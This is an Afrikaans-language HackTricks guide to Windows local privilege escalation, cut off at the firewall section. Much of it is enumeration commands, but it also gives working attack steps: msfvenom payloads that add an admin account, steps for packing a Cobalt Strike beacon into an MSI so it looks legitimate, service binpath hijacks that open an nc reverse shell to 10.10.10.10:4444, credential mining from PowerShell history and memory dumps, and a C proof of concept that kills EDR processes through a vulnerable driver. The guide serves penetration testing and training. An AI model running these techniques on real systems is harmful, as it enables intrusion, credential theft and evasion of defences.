Windows Local Privilege Escalation
Reading time: 63 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Inleidende Windows-teorie
Access Tokens
As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy voortgaan:
ACLs - DACLs/SACLs/ACEs
Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:
Integrity Levels
As jy nie weet wat integrity levels in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:
Windows Sekuriteitskontroles
Daar is verskillende dinge in Windows wat jou kan verhoed om die stelsel te enumereer, uitvoerbare lĂȘers te laat loop of selfs jou aktiwiteite te detect. Jy moet die volgende bladsy lees en al hierdie verdedigings meganismes enumereer voordat jy begin met die privilege escalation enumeration:
Stelselinfo
Version info enumeration
Kontroleer of die Windows-weergawe enige bekende kwetsbaarheid het (kontroleer ook watter patches toegepas is).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Weergawe-eksploite
This site is handig om gedetailleerde inligting oor Microsoft sekuriteitskwesbaarhede te soek. Hierdie databasis bevat meer as 4,700 sekuriteitskwesbaarhede en toon die massiewe aanvaloppervlak wat 'n Windows-omgewing bied.
Op die stelsel
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas het watson ingebed)
Lokaal met stelsel-inligting
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Omgewing
Is daar enige credential/Juicy info in die env variables gestoor?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Geskiedenis
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell TranskripsielĂȘers
Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Besonderhede van PowerShell-pyplyn-uitvoerings word aangeteken, insluitend uitgevoerde kommando's, kommando-oproepe en dele van skripte. Volledige uitvoeringbesonderhede en uitvoerresultate mag egter nie volledig vasgelĂȘ word nie.
Om dit te aktiveer, volg die instruksies in die "Transcript files" afdeling van die dokumentasie, en kies "Module Logging" in plaas van "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Om die laaste 15 events uit die PowersShell logs te sien, kan jy die volgende uitvoer:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
'n Volledige aktiwiteits- en inhoudsrekord van die script se uitvoering word vasgelĂȘ, wat verseker dat elke block of code gedokumenteer word soos dit loop. Hierdie proses bewaar 'n omvattende ouditspoor van elke aktiwiteit, waardevol vir forensiek en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteit tydens uitvoering te dokumenteer, word gedetaileerde insigte in die proses verskaf.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Loggebeure vir die Script Block kan in die Windows Event Viewer gevind word by die pad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien kan jy gebruik:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internetinstellings
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Stasies
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Jy kan die stelsel kompromitteer as die opdaterings nie met httpS versoek word nie, maar met http.
Jy begin deur te kontroleer of die netwerk 'n non-SSL WSUS update gebruik deur die volgende in cmd uit te voer:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Of die volgende in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
As jy 'n antwoord kry soos een van die volgende:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"
gelyk is aan 1
.
Dan is dit exploiteerbaar. As die laaste registerwaarde gelyk is aan 0, sal die WSUS-inskrywing geĂŻgnoreer word.
Om hierdie kwesbaarhede te eksploiteer, kan jy gereedskap soos gebruik: Wsuxploit, pyWSUS - dit is MiTM weaponized exploit-skripte om 'fake' updates in non-SSL WSUS-verkeer in te voeg.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Basies, dit is die fout wat hierdie bug uitbuit:
As ons die mag het om ons plaaslike gebruikersproxy te wysig, en Windows Updates gebruik die proxy wat in Internet Explorer se instellings gekonfigureer is, het ons dus die mag om PyWSUS plaaslik te laat loop om ons eie verkeer te onderskep en kode as 'n verhewe gebruiker op ons asset te laat uitvoer.
Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-ondertekende sertifikaat vir die WSUS-hostname genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons beide HTTP- en HTTPS-WSUS-verkeer kan onderskep. WSUS gebruik geen HSTS-like meganismes om 'n trust-on-first-use tipe validering op die sertifikaat te implementeer nie. As die aangebiedde sertifikaat deur die gebruiker vertrou word en die korrekte hostname het, sal dit deur die diens aanvaar word.
Jy kan hierdie kwesbaarheid uitbuit met die instrument WSUSpicious (sodra dit bevry is).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Baie enterprise agents openbaar 'n localhost IPC-oppervlak en 'n geprivilegieerde opdateringskanaal. As enrollment gedwing kan word na 'n aanvallerserver en die updater 'n rogue root CA of swak signer-controles vertrou, kan 'n plaaslike gebruiker 'n kwaadwillige MSI lewer wat die SYSTEM-diens installeer. Sien 'n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc chain â CVE-2025-0309) hier:
KrbRelayUp
Daar bestaan 'n local privilege escalation kwesbaarheid in Windows domain-omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar LDAP signing is not enforced, gebruikers self-regte het wat hulle toelaat om Resource-Based Constrained Delegation (RBCD) te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domain te skep. Dit is belangrik om op te let dat hierdie requirements met default settings vervul word.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
Vir meer inligting oor die vloei van die aanval sien https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
As hierdie twee registerwaardes ingeskakel is (waarde is 0x1), kan gebruikers met enige voorreg *.msi
-lĂȘers installeer (uitvoer) as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated
PowerUP
Gebruik die Write-UserAddMSI
opdrag van power-up om binne die huidige gids 'n Windows MSI-binĂȘre te skep om voorregte te eskaleer. Hierdie skrip skryf 'n voorgecompileerde MSI-installeerder uit wat vir 'n gebruiker/groep toevoeging vra (dus sal jy GIU-toegang benodig):
Write-UserAddMSI
Voer net die geskepte binĂȘre uit om escalate privileges.
MSI Wrapper
Lees hierdie tutorial om te leer hoe om 'n MSI wrapper te skep met hierdie tools. Let wel dat jy 'n ".bat" lĂȘer kan inpak as jy net opdragreĂ«ls wil voer uit
Skep MSI met WIX
Create MSI with Visual Studio
- Genereer with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe
- Maak Visual Studio oop, kies Create a new project en tik "installer" in die soekboks. Kies die Setup Wizard projek en klik Next.
- Gee die projek 'n naam, soos AlwaysPrivesc, gebruik
C:\privesc
vir die ligging, kies place solution and project in the same directory, en klik Create. - Hou aan klik Next totdat jy by stap 3 van 4 uitkom (choose files to include). Klik Add en kies die Beacon payload wat jy net gegenereer het. Klik dan Finish.
- Merk die AlwaysPrivesc projek in die Solution Explorer en in die Properties, verander TargetPlatform van x86 na x64.
- Daar is ander properties wat jy kan verander, soos die Author en Manufacturer wat die geĂŻnstalleerde app meer legitiem kan laat lyk.
- Regsklik die projek en kies View > Custom Actions.
- Regsklik Install en kies Add Custom Action.
- Dubbelklik op Application Folder, kies jou beacon.exe lĂȘer en klik OK. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word.
- Onder die Custom Action Properties, verander Run64Bit na True.
- Laastens, bou dit.
- As die waarskuwing
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
gewys word, maak seker jy stel die platform op x64.
MSI Installasie
Om die installasie van die kwaadwillige .msi
lĂȘer in die agtergrond uit te voer:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Om hierdie kwesbaarheid te exploit kan jy gebruik: exploit/windows/local/always_install_elevated
Antivirus and Detectors
Ouditinstellings
Hierdie instellings bepaal wat aangeteken word, dus moet jy aandag daaraan skenk
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, is interessant om te weet waarheen die logs gestuur word
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS is ontwerp vir die bestuur van plaaslike Administrator-wagwoorde, wat verseker dat elke wagwoord unik, ewekansig en gereeld bygewerk word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word wat voldoende permissies deur ACLs toegeken is, wat hulle in staat stel om plaaslike Administrator-wagwoorde te besigtig indien gemagtig.
WDigest
As dit aktief is, word platte-teks wagwoorde in LSASS gestoor (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA-beskerming
Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Local Security Authority (LSA) bekendgestel om pogings deur onbetroubare prosesse te blokkeer om sy geheue te lees of kode in te spuit, en sodoende die stelsel verder te beveilig.
Meer inligting oor LSA-beskerming hier.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard is in Windows 10 bekendgestel. Die doel daarvan is om die credentials wat op 'n toestel gestoor word, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials word geverifieer deur die Local Security Authority (LSA) en deur bedryfstelselkomponente gebruik. Wanneer 'n gebruiker se aanmelddata geverifieer word deur 'n geregistreerde security package, word domain credentials vir die gebruiker tipies gevestig.
Meer inligting oor Cached Credentials hier.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Gebruikers & Groepe
Enumereer Gebruikers & Groepe
Jy moet nagaan of enige van die groepe waarvan jy deel uitmaak interessante regte het
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Bevoorregte groepe
As jy deel is van 'n bevoorregte groep, kan jy moontlik jou toegangsvlakke verhoog. Lees hier meer oor bevoorregte groepe en hoe om dit te misbruik om toegangsvlakke te verhoog:
Token manipulation
Leer meer oor wat 'n token is op hierdie bladsy: Windows Tokens.
Kyk na die volgende bladsy om te leer oor interessante tokens en hoe om dit te misbruik:
Aangemelde gebruikers / Sessies
qwinsta
klist sessions
Tuismappe
dir C:\Users
Get-ChildItem C:\Users
Wagwoordbeleid
net accounts
Kry die inhoud van die knipbord
powershell -command "Get-Clipboard"
Lopende Prosesse
LĂȘer- en vouerregte
Eerstens, wanneer jy die prosesse lys, kyk vir wagwoorde binne die opdragreël van die proses.
Kyk of jy 'n lopende binary kan oorskryf of jy skryfregte op die binary-gids het om moontlike DLL Hijacking attacks te benut:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat aktief is; jy kan dit misbruik om bevoegdhede te eskaleer.
Kontroleer die permissies van die prosesse se binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Kontroleer die toestemmings van die vouers van die proses-binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Jy kan 'n geheue-dump van 'n lopende proses skep met procdump van sysinternals. Dienste soos FTP bewaar dikwels die credentials in clear text in memory â probeer die geheue dump en lees die credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Onveilige GUI-toepassings
Toepassings wat as SYSTEM loop mag 'n gebruiker toelaat om 'n CMD te open, of deur gidse te blaai.
Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt"
Dienste
Kry 'n lys van dienste:
net start
wmic service list brief
sc query
Get-Service
Permissies
Jy kan sc gebruik om inligting oor 'n diens te kry.
sc qc <service_name>
Dit word aanbeveel om die binary accesschk van Sysinternals te hĂȘ om die vereiste privilegievlak vir elke diens te kontroleer.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Dit word aanbeveel om te kontroleer of "Authenticated Users" enige diens kan wysig:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Aktiveer diens
As jy hierdie fout kry (byvoorbeeld met SSDPSRV):
Stelselfout 1058 het voorgekom.
Die diens kan nie begin word nie, Ăłf omdat dit gedeaktiveer is of omdat dit geen geaktiveerde toestelle daarmee geassosieer is nie.
Jy kan dit aktiveer deur
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Neem in ag dat die diens upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)
Nog 'n ompad vir hierdie probleem is om die volgende uit te voer:
sc.exe config usosvc start= auto
Modify service binary path
Indien die groep "Authenticated users" SERVICE_ALL_ACCESS op 'n diens het, is dit moontlik om die diens se uitvoerbare binĂȘre te wysig. Om sc te gebruik om dit te wysig en uit te voer:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Herbegin diens
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privilegieë kan opgeskaal word deur verskeie permissies:
- SERVICE_CHANGE_CONFIG: Laat herkonfigurering van die diensbinarie toe.
- WRITE_DAC: Laat herkonfigurering van permissies toe, wat lei tot die vermoë om dienskonfigurasies te verander.
- WRITE_OWNER: Maak dit moontlik om eienaarskap te verkry en permissies te herkonfigureer.
- GENERIC_WRITE: Erf die vermoë om dienskonfigurasies te verander.
- GENERIC_ALL: Gee ook die vermoë om dienskonfigurasies te verander.
Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.
Swak permissies op diensbinarieë
Kontroleer of jy die binarie wat deur 'n diens uitgevoer word kan wysig of of jy skryfpermissies op die vouer het waar die binarie geleë is (DLL Hijacking).
Jy kan elke binarie wat deur 'n diens uitgevoer word kry deur wmic te gebruik (nie in system32 nie) en jou permissies nagaan met icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Jy kan ook gebruik maak van sc en icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Wysigingspermissies vir diensregister
Jy moet nagaan of jy enige diensregister kan wysig.
Jy kan kontroleer jou toestemmings oor 'n diensregister deur:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl
-permissies besit. Indien wel, kan die binary wat deur die diens uitgevoer word, gewysig word.
Om die Path van die uitgevoerde binary te verander:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Diensregister AppendData/AddSubdirectory regte
As jy hierdie toestemming oor 'n register het, beteken dit dat jy subregistere van hierdie een kan skep. In die geval van Windows services is dit genoeg om willekeurige kode uit te voer:
AppendData/AddSubdirectory permission over service registry
Ongekwoteerde dienspaaie
As die pad na 'n uitvoerbare lĂȘer nie binne aanhalingstekens is nie, sal Windows probeer om elke deel voor 'n spasie uit te voer.
Byvoorbeeld, vir die pad C:\Program Files\Some Folder\Service.exe sal Windows probeer om uit te voer:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Lys alle dienspaaie wat nie tussen aanhalingstekens staan nie, uitgesluit dié wat aan ingeboude Windows-dienste behoort:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Jy kan hierdie kwesbaarheid opspoor en uitbuit met metasploit: exploit/windows/local/trusted\_service\_path
Jy kan handmatig 'n service binary met metasploit skep:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Herstelaksies
Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word indien 'n diens misluk. Hierdie funksie kan gekonfigureer word om na 'n binary te wys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die amptelike dokumentasie.
Toepassings
GeĂŻnstalleerde Toepassings
Kontroleer die toestemmings van die binaries (dalk kan jy een oorskryf en escalate privileges) en van die vouers (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Skryf-toestemmings
Kontroleer of jy 'n config file kan wysig om 'n spesiale lĂȘer te lees, of jy 'n binary kan wysig wat deur 'n Administrator account uitgevoer gaan word (schedtasks).
Een manier om swak vouer-/lĂȘertoestemmings in die stelsel te vind, is om die volgende te doen:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Voer by opstart uit
Kontroleer of jy 'n registry of binary kan oorskryf wat deur 'n ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Bestuurders
Soek moontlike derdeparty vreemde/kwesbare bestuurders
driverquery
driverquery.exe /fo table
driverquery /SI
As 'n driver 'n arbitrĂȘre kernel lees/skryf-primitive openbaar (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur 'n SYSTEM token direk uit kernelgeheue te steel. Sien die stapâvirâstap tegniek hier:
Arbitrary Kernel Rw Token Theft
Misbruik van ontbrekende FILE_DEVICE_SECURE_OPEN op toestelobjekte (LPE + EDR kill)
Sommige ondertekende derdeparty drivers skep hul toestelobjek met 'n sterk SDDL via IoCreateDeviceSecure, maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die veilige DACL nie afgedwing wanneer die toestel oopgemaak word via 'n pad wat 'n ekstra komponent bevat nie, wat enige onbevoegde gebruiker toelaat om 'n handle te bekom deur 'n namespace pad soos:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Sodra 'n gebruiker die toestel kan oopmaak, kan geprivilegieerde IOCTLs wat deur die driver blootgestel word, misbruik word vir LPE en manipulasie. Voorbeelde van vermoëns wat in die wild waargeneem is:
- Gee handles met volle toegang terug vir arbitrĂȘre prosesse (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Onbeperkte rou skyf lees/skryf (offline manipulasie, opstartâtyd volhardingstrikke).
- BeĂ«indig arbitrĂȘre prosesse, insluitend Protected Process/Light (PP/PPL), wat AV/EDR kill vanaf gebruikersruimte via die kernel moontlik maak.
Minimale PoCâpatroon (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigeringstappe vir ontwikkelaars
- Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer jy device objects skep wat bedoel is om deur 'n DACL beperk te word.
- Valideer die oproeperkonteks vir bevoorregte operasies. Voeg PP/PPL-kontroles by voordat jy prosesbeëindiging of handle returns toelaat.
- Beperk IOCTLs (access masks, METHOD_*, invoervalidasie) en oorweeg brokered models in plaas van direkte kernel-privileges.
Detectie-idees vir verdedigers
- Monitor user-mode opens van verdagte device name (bv. \.\amsdk*) en spesifieke IOCTL-reekse wat misbruik aandui.
- Handhaaf Microsoftâs vulnerable driver blocklist (HVCI/WDAC/Smart App Control) en hou jou eie toelaat-/weierlyste by.
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Kontroleer permissies van alle vouers in PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Vir meer inligting oor hoe om hierdie kontrole te misbruik:
Writable Sys Path +Dll Hijacking Privesc
Netwerk
Gedeelde vouers
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Kontroleer of daar ander bekende rekenaars op die hosts file hardcoded is
type C:\Windows\System32\drivers\etc\hosts
Netwerkkoppelvlakke & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Oop poorte
Kontroleer vir beperkte dienste van buite af
netstat -ano #Opened ports?
Roeteringstabel
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP Tabel
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Reëls
